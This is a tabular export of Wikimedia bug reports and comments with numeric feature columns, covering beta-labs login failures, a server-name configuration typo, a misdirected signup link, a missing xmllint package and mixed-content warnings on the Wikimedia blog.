Is this still happening? The login code is pretty separate from mobile so it is unlikely to be a bug our end.",,,1397236462,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,14.0,11.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.5714285714285716,0.8857142857142857,"I suspect this might be a side effect of URL

Is this still happening? The login code is pretty separate from mobile so it is unlikely to be a bug our end."
301501,login error,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1919",,,1397228710,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
65756,beta login unsuccessfully contacts en.wikipedia.$channel.wmflabs.org/Special:CentralLogin,"I went to http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin and logged in.
first it was waiting for login.wikipedia.beta.wmflabs.org
then it indicated it was trying to locate
http://en.wikipedia.$channel.wmflabs.org

(note ""$channel"" where ""beta"" should be)

and eventually failed with
Firefox can't find the server at en.wikipedia.$channel.wmflabs.org.

If I return to enbeta I am logged in despite the error, so this isn't critical.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1397097120,1397101838.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-azuqxdnchdrt3drofbpg,task_description,resolved,True,c3,1,False,False,True,-64,True,0.0,0.0,0.0,1.0,2.0,3.0,1.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,1.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,11.0,4.0,0.0,4.0,0.0,6.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,4.032258064516129,0.6344086021505376,"I went to URL and logged in.
first it was waiting for login.wikipedia.beta.wmflabs.org
then it indicated it was trying to locate
URL

(note ""$channel"" where ""beta"" should be)

and eventually failed with
Firefox can't find the server at en.wikipedia.$channel.wmflabs.org.

If I return to enbeta I am logged in despite the error, so this isn't critical.

--------------------------
**Version**: unspecified
**Severity**: major"
298156,beta login unsuccessfully contacts en.wikipedia.$channel.wmflabs.org/Special:CentralLogin,"Change 125070 merged by Ori.livneh:
beta: correct wgCanonicalServer string format

https://gerrit.wikimedia.org/r/125070",,,1397100863,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azuqxdnchdrt3drofbpg,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,0.9333333333333333,"Change 125070 merged by Ori.livneh:
beta: correct wgCanonicalServer string format

GERRIT_URL"
298151,beta login unsuccessfully contacts en.wikipedia.$channel.wmflabs.org/Special:CentralLogin,"Change 125070 had a related patch set uploaded by Ori.livneh:
beta: correct wgCanonicalServer string format

https://gerrit.wikimedia.org/r/125070",,,1397100678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azuqxdnchdrt3drofbpg,task_subcomment,,True,c3,1,False,,,-64,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.3,0.95,"Change 125070 had a related patch set uploaded by Ori.livneh:
beta: correct wgCanonicalServer string format

GERRIT_URL"
65012,Sign up link in login error box of test2.wikipedia.org links to en.wikipedia.org,"When I enter wrong username in https://test2.wikipedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page , I get a ""Wikipedia's signup page"" link which links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup rather than https://test2.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page

--------------------------
**Version**: 1.23.0
**Severity**: minor",Needs Triage,90.0,1395673140,1396622002.0,PHID-USER-b5bosdf7b7zp3vqofbug,False,,False,PHID-TASK-m6pf4leaydjdbqu2hzo5,task_description,invalid,True,c3,1,False,False,True,-67,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,21.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,5.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.604651162790698,0.6976744186046512,"When I enter wrong username in URL , I get a ""Wikipedia's signup page"" link which links to URL rather than URL

--------------------------
**Version**: 1.23.0
**Severity**: minor"
286845,Sign up link in login error box of test2.wikipedia.org links to en.wikipedia.org,"As per comment 1 this needs to be fixed on-wiki, hence out of scope for Bugzilla.",,,1396622002,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m6pf4leaydjdbqu2hzo5,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,35.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,35.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,"As per comment 1 this needs to be fixed on-wiki, hence out of scope for Bugzilla."
286838,Sign up link in login error box of test2.wikipedia.org links to en.wikipedia.org,That's due to the local message https://test2.wikipedia.org/wiki/MediaWiki:Nosuchuser,,,1395687786,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-m6pf4leaydjdbqu2hzo5,task_subcomment,,True,c3,1,True,,,-67,True,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,That's due to the local message URL
64944,xmllint program available from tools-login but not when running a job,"It seems like xmllint program is available on tools lab from the login host, but not from the job runners.

Expected behaviour is that tools-login and job runners have same set of packages available.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1395449040,1398461503.0,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,False,PHID-TASK-6nbczejmvxoxyospcqnf,task_description,resolved,True,c3,1,True,False,True,-67,True,0.0,0.0,0.0,0.0,2.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,29.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,7.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.120689655172414,0.6724137931034483,"It seems like xmllint program is available on tools lab from the login host, but not from the job runners.

Expected behaviour is that tools-login and job runners have same set of packages available.

--------------------------
**Version**: unspecified
**Severity**: normal"
283305,xmllint program available from tools-login but not when running a job,"Change 120187 merged by coren:
Tools: Install package libxml2-utils for xmllint

https://gerrit.wikimedia.org/r/120187",,,1398458806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6nbczejmvxoxyospcqnf,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,0.9444444444444444,"Change 120187 merged by coren:
Tools: Install package libxml2-utils for xmllint

GERRIT_URL"
283300,xmllint program available from tools-login but not when running a job,"Change 120187 had a related patch set uploaded by Tim Landscheidt:
Tools: Install package libxml2-utils for xmllint

https://gerrit.wikimedia.org/r/120187",,,1395461447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6nbczejmvxoxyospcqnf,task_subcomment,,True,c3,1,False,,,-67,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.9583333333333334,"Change 120187 had a related patch set uploaded by Tim Landscheidt:
Tools: Install package libxml2-utils for xmllint

GERRIT_URL"
283294,xmllint program available from tools-login but not when running a job,"(In reply to Bawolff (Brian Wolff) from comment #0)
> It seems like xmllint program is available on tools lab from the login host,
> but not from the job runners.

I'll submit a patch for that.

> Expected behaviour is that tools-login and job runners have same set of
> packages available.

No: On Tools, we differentiate between dev_environ (stuff for interactive development) and exec_environ (stuff for bots, tools, etc.).  Bastions include both, exec nodes only the latter.

At the moment, xmllint (package libxml2-utils) is a requirement in neither, but is pulled in by some other package in dev_environ.",,,1395456512,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6nbczejmvxoxyospcqnf,task_subcomment,,True,c3,1,True,,,-67,True,1.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,2.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,0.0,2.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,13.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.69,0.65,"(In reply to Bawolff (Brian Wolff) from comment #0)
QUOTE
QUOTE

I'll submit a patch for that.

QUOTE
QUOTE

No: On Tools, we differentiate between dev_environ (stuff for interactive development) and exec_environ (stuff for bots, tools, etc.).  Bastions include both, exec nodes only the latter.

At the moment, xmllint (package libxml2-utils) is a requirement in neither, but is pulled in by some other package in dev_environ."
64488,Wikimedia blog has unsecured elements on https,"When I access the Wikimedia blog on https, I get a warning on chrome that it contains unsecured elements, which means the site isn't completely secure. They need to be found and made secure.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1394467260,1394473532.0,PHID-USER-kwx3xuj7xgppxahjkw66,False,,False,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_description,invalid,True,c3,1,False,False,True,-69,True,0.0,0.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,12.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9322033898305087,0.7457627118644068,"When I access the Wikimedia blog on https, I get a warning on chrome that it contains unsecured elements, which means the site isn't completely secure. They need to be found and made secure.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
286756,Wikimedia blog has unsecured elements on https,"(In reply to Techman224 from comment #2)
> Take a look at the pictures, looking at my console I getting,
> 
> The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but
> displayed insecure content from
> 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-
> Diagram.png': this content should also be loaded over HTTPS.
>  blog.wikimedia.org/:1
> 
> The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but
> displayed insecure content from
> 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-
> Diagram.png': this content should also be loaded over HTTPS.
>  blog.wikimedia.org/:177
> 
> The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but
> displayed insecure content from
> 'http://upload.wikimedia.org/wikipedia/commons/thumb/3/35/Information_icon.
> svg/32px-Information_icon.svg.png': this content should also be loaded over
> HTTPS.
> 
> It's the images that are causing the warnings, they should be loaded with
> https, not http.

This is like what happens when a sysop puts importScriptURI(""http://bits.wikimedia.org/..."") in MediaWiki:Common.js. There's nothing that can be done from developer or sysadmin side. Ask blog post writers to fix them.",,,1394473532,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,32.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,8.0,24.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,3.6043956043956045,0.4945054945054945,"(In reply to Techman224 from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is like what happens when a sysop puts importScriptURI(""URL in MediaWiki:Common.js. There's nothing that can be done from developer or sysadmin side. Ask blog post writers to fix them."
286750,Wikimedia blog has unsecured elements on https,"Take a look at the pictures, looking at my console I getting,

The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but displayed insecure content from 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-Diagram.png': this content should also be loaded over HTTPS.
 blog.wikimedia.org/:1

The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but displayed insecure content from 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-Diagram.png': this content should also be loaded over HTTPS.
 blog.wikimedia.org/:177

The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but displayed insecure content from 'http://upload.wikimedia.org/wikipedia/commons/thumb/3/35/Information_icon.svg/32px-Information_icon.svg.png': this content should also be loaded over HTTPS.

It's the images that are causing the warnings, they should be loaded with https, not http.",,,1394472676,,PHID-USER-kwx3xuj7xgppxahjkw66,False,,,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,5.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,4.0,9.5,0.0,0.0,3.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,12.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,4.5,5.5,11.5,0.0,2.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.5,9.5,6.0,0.0,3.5,0.0,2.5,0.0,1.0,0.5,0.0,2.0,1.0,0.0,0.0,4.158333333333333,0.575,"Take a look at the pictures, looking at my console I getting,

The page at 'URL was loaded over HTTPS, but displayed insecure content from 'URL this content should also be loaded over HTTPS.
 blog.wikimedia.org/:1

The page at 'URL was loaded over HTTPS, but displayed insecure content from 'URL this content should also be loaded over HTTPS.
 blog.wikimedia.org/:177

The page at 'URL was loaded over HTTPS, but displayed insecure content from 'URL this content should also be loaded over HTTPS.

It's the images that are causing the warnings, they should be loaded with https, not http."
286745,Wikimedia blog has unsecured elements on https,"One is the information button of ""For versions in other languages, please check the wiki version of this report, or add your own translation there!"", and another is ""‘Tofu’ Detection"". Both are from blog content instead of the software.",,,1394469078,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,0.0,4.0,12.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,2.0,12.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.7843137254901961,"One is the information button of ""For versions in other languages, please check the wiki version of this report, or add your own translation there!"", and another is ""‘Tofu’ Detection"". Both are from blog content instead of the software."
64484,intermittent but frequent Login error on beta labs,"click Login button from http://en.wikipedia.beta.wmflabs.org

Login as usual

Get red-box error ""Login error
There was an unexpected error logging in. Please try again. If the problem persists, it may be because you have cookies disabled, and you should check that they are enabled in your browser settings. ""

No records appear in the fatals log when this happens. 

After a brief inspection, I see this in both automated tests and manual operation, and it happens more frequently manually.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1394463240,1394482484.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-3kxddh476wfgf5ssofet,task_description,resolved,True,c3,1,False,False,True,-69,True,0.0,0.0,0.0,0.5,0.0,5.0,0.5,0.5,0.0,0.5,3.5,0.0,0.0,0.0,0.5,1.0,0.0,4.0,6.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,6.0,1.5,1.5,0.0,1.5,1.0,0.0,0.5,0.0,1.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,0.5,9.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,8.5,2.5,3.0,5.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,4.5,6.0,1.0,0.0,1.5,0.0,4.5,0.0,1.0,1.5,0.0,0.5,1.0,0.0,0.0,4.035401002506266,0.7603383458646616,"click Login button from URL

Login as usual

Get red-box error ""Login error
There was an unexpected error logging in. Please try again. If the problem persists, it may be because you have cookies disabled, and you should check that they are enabled in your browser settings. ""

No records appear in the fatals log when this happens. 

After a brief inspection, I see this in both automated tests and manual operation, and it happens more frequently manually.

--------------------------
**Version**: unspecified
**Severity**: major"
286609,intermittent but frequent Login error on beta labs,"Earlier today I made a change to be merged which enable memcache writes to both pmtpa and eqiad: https://gerrit.wikimedia.org/r/115623

On beta the sessions are stored in Memcached, unlike production which use a redis backend.  The sessions were only stored on one DC which caused much havoc.

I believe I fixed it with https://gerrit.wikimedia.org/r/#/c/117867/ which made the sessions to be written to both data centers.",,,1394482484,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,True,,,-69,True,1.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,7.0,6.0,14.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,1.0,0.0,0.0,4.097222222222222,0.7361111111111112,"Earlier today I made a change to be merged which enable memcache writes to both pmtpa and eqiad: GERRIT_URL

On beta the sessions are stored in Memcached, unlike production which use a redis backend.  The sessions were only stored on one DC which caused much havoc.

I believe I fixed it with URL which made the sessions to be written to both data centers."
286599,intermittent but frequent Login error on beta labs,I think Antoine was fixing this as I was reporting it.  It had to do with misconfigured user session caching.  Updates to memcache in pmpta and eqiad should solve this.,,,1394465889,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.9714285714285715,0.8,I think Antoine was fixing this as I was reporting it.  It had to do with misconfigured user session caching.  Updates to memcache in pmpta and eqiad should solve this.
286590,intermittent but frequent Login error on beta labs,"Created attachment 14783
no active login attempt

**Attached**: {F13030}",,,1394463522,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,"Created attachment 14783
no active login attempt

**Attached**: {F13030}"
286582,intermittent but frequent Login error on beta labs,"Also upon clicking BACK and logging in again, user is presented with error msg. 


Central user log in
No active login attempt is in progress for your session.

